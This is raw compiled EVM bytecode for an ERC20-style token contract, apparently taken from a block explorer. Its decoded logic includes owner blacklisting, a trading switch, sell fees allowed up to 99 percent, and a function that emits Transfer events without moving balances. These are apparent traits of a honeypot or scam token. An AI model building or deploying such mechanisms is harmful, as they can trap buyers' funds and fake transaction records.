6000610c7c848484611c75565b610d3d84610c88611aa4565b610d38856040518060600160405280602881526020016143bb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f89092919063ffffffff16565b611aac565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d85611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0990613879565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e75611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990613879565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f60611aa4565b73ffffffffffffffffffffffffffffffffffffffff161480610fd65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fbe611aa4565b73ffffffffffffffffffffffffffffffffffffffff16145b610fdf57600080fd5b6000479050610fed8161255c565b50565b600061103a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c8565b9050919050565b611049611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90613879565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61119c611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122090613879565b60405180910390fd5b8060168190555050565b61123b611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bf90613879565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280601781526020017fe2829be28295e1b5a26220e2829ae28291e2829ae28291000000000000000000815250905090565b61137a611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fe90613879565b60405180910390fd5b8060188190555050565b600061142561141e611aa4565b8484611c75565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611490611aa4565b73ffffffffffffffffffffffffffffffffffffffff1614806115065750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114ee611aa4565b73ffffffffffffffffffffffffffffffffffffffff16145b61150f57600080fd5b600061151a30610ff0565b905061152581612636565b50565b611530611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490613879565b60405180910390fd5b60005b8383905081101561165c5781600560008686858181106115e3576115e2613899565b5b90506020020160208101906115f89190613618565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611654906138f7565b9150506115c0565b50505050565b61166a611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90613879565b60405180910390fd5b601982856117059190613a38565b111561171057600080fd5b6063818461171e9190613a38565b111561172957600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183191906133b7565b60405180910390a3600190509392505050565b61184c611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d090613879565b60405180910390fd5b8060178190555050565b6118eb611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196f90613879565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119de90613ade565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290613b70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613c02565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6891906133b7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb90613c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4a90613d26565b60405180910390fd5b60008111611d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8d90613db8565b60405180910390fd5b611d9e611306565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e0c5750611ddc611306565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f757601560149054906101000a900460ff16611e9b57611e2d611306565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9190613e4a565b60405180910390fd5b5b601654811115611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790613eb6565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f845750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fba90613f48565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612070576017548161202584610ff0565b61202f9190613a38565b1061206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690613fda565b60405180910390fd5b5b600061207b30610ff0565b90506000601854821015905060165482106120965760165491505b8080156120ae575060158054906101000a900460ff16155b80156121085750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121205750601560169054906101000a900460ff165b80156121765750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121cc5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f4576121da82612636565b600047905060008111156121f2576121f14761255c565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061229e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123515750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123505750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561235f57600090506124e6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561240a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242257600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124cd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124e557600a54600c81905550600b54600d819055505b5b6124f2848484846128ad565b50505050565b6000838311158290612540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125379190613260565b60405180910390fd5b506000838561254f9190613ffa565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125c4573d6000803e3d6000fd5b5050565b600060065482111561260f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612606906140a0565b60405180910390fd5b60006126196128da565b905061262e818461290590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561266d5761266c612ff7565b5b60405190808252806020026020018201604052801561269b5781602001602082028036833780820191505090505b50905030816000815181106126b3576126b2613899565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561275a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277e91906140d5565b8160018151811061279257612791613899565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127f930601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611aac565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161285d9594939291906141c0565b600060405180830381600087803b15801561287757600080fd5b505af115801561288b573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128bb576128ba61294f565b5b6128c684848461298c565b806128d4576128d3612b57565b5b50505050565b60008060006128e7612b6b565b915091506128fe818361290590919063ffffffff16565b9250505090565b600061294783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bca565b905092915050565b6000600c5414801561296357506000600d54145b61298a57600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061299e87612c2d565b9550955095509550955095506129fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cdf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612add81612d3d565b612ae78483612dfa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4491906133b7565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612b9f670de0b6b3a764000060065461290590919063ffffffff16565b821015612bbd57600654670de0b6b3a7640000935093505050612bc6565b81819350935050505b9091565b60008083118290612c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c089190613260565b60405180910390fd5b5060008385612c209190614249565b9050809150509392505050565b6000806000806000806000806000612c4a8a600c54600d54612e34565b9250925092506000612c5a6128da565b90506000806000612c6d8e878787612eca565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cd783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124f8565b905092915050565b6000808284612cee9190613a38565b905083811015612d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2a906142c6565b60405180910390fd5b8091505092915050565b6000612d476128da565b90506000612d5e8284612f5390919063ffffffff16565b9050612db281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cdf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e0f82600654612c9590919063ffffffff16565b600681905550612e2a81600754612cdf90919063ffffffff16565b6007819055505050565b600080600080612e606064612e52888a612f5390919063ffffffff16565b61290590919063ffffffff16565b90506000612e8a6064612e7c888b612f5390919063ffffffff16565b61290590919063ffffffff16565b90506000612eb382612ea5858c612c9590919063ffffffff16565b612c9590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee38589612f5390919063ffffffff16565b90506000612efa8689612f5390919063ffffffff16565b90506000612f118789612f5390919063ffffffff16565b90506000612f3a82612f2c8587612c9590919063ffffffff16565b612c9590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f655760009050612fc7565b60008284612f7391906142e6565b9050828482612f829190614249565b14612fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb99061439a565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61302f82612fe6565b810181811067ffffffffffffffff8211171561304e5761304d612ff7565b5b80604052505050565b6000613061612fcd565b905061306d8282613026565b919050565b600067ffffffffffffffff82111561308d5761308c612ff7565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130ce826130a3565b9050919050565b6130de816130c3565b81146130e957600080fd5b50565b6000813590506130fb816130d5565b92915050565b600061311461310f84613072565b613057565b905080838252602082019050602084028301858111156131375761313661309e565b5b835b81811015613160578061314c88826130ec565b845260208401935050602081019050613139565b5050509392505050565b600082601f83011261317f5761317e612fe1565b5b813561318f848260208601613101565b91505092915050565b6000602082840312156131ae576131ad612fd7565b5b600082013567ffffffffffffffff8111156131cc576131cb612fdc565b5b6131d88482850161316a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561321b578082015181840152602081019050613200565b60008484015250505050565b6000613232826131e1565b61323c81856131ec565b935061324c8185602086016131fd565b61325581612fe6565b840191505092915050565b6000602082019050818103600083015261327a8184613227565b905092915050565b6000819050919050565b61329581613282565b81146132a057600080fd5b50565b6000813590506132b28161328c565b92915050565b600080604083850312156132cf576132ce612fd7565b5b60006132dd858286016130ec565b92505060206132ee858286016132a3565b9150509250929050565b60008115159050919050565b61330d816132f8565b82525050565b60006020820190506133286000830184613304565b92915050565b6000819050919050565b600061335361334e613349846130a3565b61332e565b6130a3565b9050919050565b600061336582613338565b9050919050565b60006133778261335a565b9050919050565b6133878161336c565b82525050565b60006020820190506133a2600083018461337e565b92915050565b6133b181613282565b82525050565b60006020820190506133cc60008301846133a8565b92915050565b600067ffffffffffffffff8211156133ed576133ec612ff7565b5b602082029050602081019050919050565b600061341161340c846133d2565b613057565b905080838252602082019050602084028301858111156134345761343361309e565b5b835b8181101561345d578061344988826132a3565b845260208401935050602081019050613436565b5050509392505050565b600082601f83011261347c5761347b612fe1565b5b813561348c8482602086016133fe565b91505092915050565b600080600080600060a086880312156134b1576134b0612fd7565b5b60006134bf888289016130ec565b955050602086013567ffffffffffffffff8111156134e0576134df612fdc565b5b6134ec8882890161316a565b945050604086013567ffffffffffffffff81111561350d5761350c612fdc565b5b61351988828901613467565b935050606086013567ffffffffffffffff81111561353a57613539612fdc565b5b61354688828901613467565b9250506080613557888289016130ec565b9150509295509295909350565b60008060006060848603121561357d5761357c612fd7565b5b600061358b868287016130ec565b935050602061359c868287016130ec565b92505060406135ad868287016132a3565b9150509250925092565b600060ff82169050919050565b6135cd816135b7565b82525050565b60006020820190506135e860008301846135c4565b92915050565b6135f7816130c3565b82525050565b600060208201905061361260008301846135ee565b92915050565b60006020828403121561362e5761362d612fd7565b5b600061363c848285016130ec565b91505092915050565b61364e816132f8565b811461365957600080fd5b50565b60008135905061366b81613645565b92915050565b60006020828403121561368757613686612fd7565b5b60006136958482850161365c565b91505092915050565b6000602082840312156136b4576136b3612fd7565b5b60006136c2848285016132a3565b91505092915050565b600080fd5b60008083601f8401126136e6576136e5612fe1565b5b8235905067ffffffffffffffff811115613703576137026136cb565b5b60208301915083602082028301111561371f5761371e61309e565b5b9250929050565b60008060006040848603121561373f5761373e612fd7565b5b600084013567ffffffffffffffff81111561375d5761375c612fdc565b5b613769868287016136d0565b9350935050602061377c8682870161365c565b9150509250925092565b600080600080608085870312156137a05761379f612fd7565b5b60006137ae878288016132a3565b94505060206137bf878288016132a3565b93505060406137d0878288016132a3565b92505060606137e1878288016132a3565b91505092959194509250565b6000806040838503121561380457613803612fd7565b5b6000613812858286016130ec565b9250506020613823858286016130ec565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138636020836131ec565b915061386e8261382d565b602082019050919050565b6000602082019050818103600083015261389281613856565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390282613282565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613934576139336138c8565b5b600182019050919050565b6000819050919050565b600061396461395f61395a8461393f565b61332e565b613282565b9050919050565b61397481613949565b82525050565b600060808201905061398f60008301876133a8565b61399c602083018661396b565b6139a9604083018561396b565b6139b660608301846133a8565b95945050505050565b60006060820190506139d460008301866135ee565b6139e160208301856135ee565b6139ee60408301846133a8565b949350505050565b600081519050613a0581613645565b92915050565b600060208284031215613a2157613a20612fd7565b5b6000613a2f848285016139f6565b91505092915050565b6000613a4382613282565b9150613a4e83613282565b9250828201905080821115613a6657613a656138c8565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613ac86026836131ec565b9150613ad382613a6c565b604082019050919050565b60006020820190508181036000830152613af781613abb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b5a6024836131ec565b9150613b6582613afe565b604082019050919050565b60006020820190508181036000830152613b8981613b4d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bec6022836131ec565b9150613bf782613b90565b604082019050919050565b60006020820190508181036000830152613c1b81613bdf565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613c7e6025836131ec565b9150613c8982613c22565b604082019050919050565b60006020820190508181036000830152613cad81613c71565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d106023836131ec565b9150613d1b82613cb4565b604082019050919050565b60006020820190508181036000830152613d3f81613d03565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613da26029836131ec565b9150613dad82613d46565b604082019050919050565b60006020820190508181036000830152613dd181613d95565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613e34603f836131ec565b9150613e3f82613dd8565b604082019050919050565b60006020820190508181036000830152613e6381613e27565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613ea0601c836131ec565b9150613eab82613e6a565b602082019050919050565b60006020820190508181036000830152613ecf81613e93565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613f326023836131ec565b9150613f3d82613ed6565b604082019050919050565b60006020820190508181036000830152613f6181613f25565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613fc46023836131ec565b9150613fcf82613f68565b604082019050919050565b60006020820190508181036000830152613ff381613fb7565b9050919050565b600061400582613282565b915061401083613282565b9250828203905081811115614028576140276138c8565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061408a602a836131ec565b91506140958261402e565b604082019050919050565b600060208201905081810360008301526140b98161407d565b9050919050565b6000815190506140cf816130d5565b92915050565b6000602082840312156140eb576140ea612fd7565b5b60006140f9848285016140c0565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614137816130c3565b82525050565b6000614149838361412e565b60208301905092915050565b6000602082019050919050565b600061416d82614102565b614177818561410d565b93506141828361411e565b8060005b838110156141b357815161419a888261413d565b97506141a583614155565b925050600181019050614186565b5085935050505092915050565b600060a0820190506141d560008301886133a8565b6141e2602083018761396b565b81810360408301526141f48186614162565b905061420360608301856135ee565b61421060808301846133a8565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061425482613282565b915061425f83613282565b92508261426f5761426e61421a565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006142b0601b836131ec565b91506142bb8261427a565b602082019050919050565b600060208201905081810360008301526142df816142a3565b9050919050565b60006142f182613282565b91506142fc83613282565b925082820261430a81613282565b91508282048414831517614321576143206138c8565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143846021836131ec565b915061438f82614328565b604082019050919050565b600060208201905081810360008301526143b381614377565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a8f51125d8a1dff49e79e6afcf33202097256ec10acf87247d6c9353b52b5fa264736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872dd14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f9190613198565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613260565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132b8565b61091b565b6040516102859190613313565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c7919061338d565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133b7565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d9190613495565b610a21565b60405161032f9190613313565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a9190613564565b610c6f565b60405161036c9190613313565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133b7565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d3565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed91906135fd565b60405180910390f35b34801561040257600080fd5b5061041d60048036038101906104189190613618565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613671565b610e6d565b005b34801561045457600080fd5b5061045d610f1f565b005b34801561046b57600080fd5b5061048660048036038101906104819190613618565b610ff0565b60405161049391906133b7565b60405180910390f35b3480156104a857600080fd5b506104b1611041565b005b3480156104bf57600080fd5b506104da60048036038101906104d5919061369e565b611194565b005b3480156104e857600080fd5b506104f1611233565b005b3480156104ff57600080fd5b506105086112e8565b60405161051591906133b7565b60405180910390f35b34801561052a57600080fd5b5061054560048036038101906105409190613618565b6112ee565b60405161055291906133b7565b60405180910390f35b34801561056757600080fd5b50610570611306565b60405161057d91906135fd565b60405180910390f35b34801561059257600080fd5b5061059b61132f565b6040516105a891906133b7565b60405180910390f35b3480156105bd57600080fd5b506105c6611335565b6040516105d39190613260565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe919061369e565b611372565b005b34801561061157600080fd5b5061062c600480360381019061062791906132b8565b611411565b6040516106399190613313565b60405180910390f35b34801561064e57600080fd5b5061066960048036038101906106649190613618565b61142f565b6040516106769190613313565b60405180910390f35b34801561068b57600080fd5b5061069461144f565b005b3480156106a257600080fd5b506106bd60048036038101906106b89190613726565b611528565b005b3480156106cb57600080fd5b506106e660048036038101906106e19190613786565b611662565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137ed565b61174b565b60405161071c91906133b7565b60405180910390f35b34801561073157600080fd5b5061074c60048036038101906107479190613564565b6117d2565b6040516107599190613313565b60405180910390f35b34801561076e57600080fd5b506107896004803603810190610784919061369e565b611844565b005b34801561079757600080fd5b506107b260048036038101906107ad9190613618565b6118e3565b005b6107bc611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090613879565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138f7565b91505061084c565b5050565b60606040518060400160405280601781526020017fe2829be28295e1b5a26220e2829ae28291e2829ae28291000000000000000000815250905090565b600061092f610928611aa4565b8484611aac565b6001905092915050565b610941611aa4565b73fffffffffffffff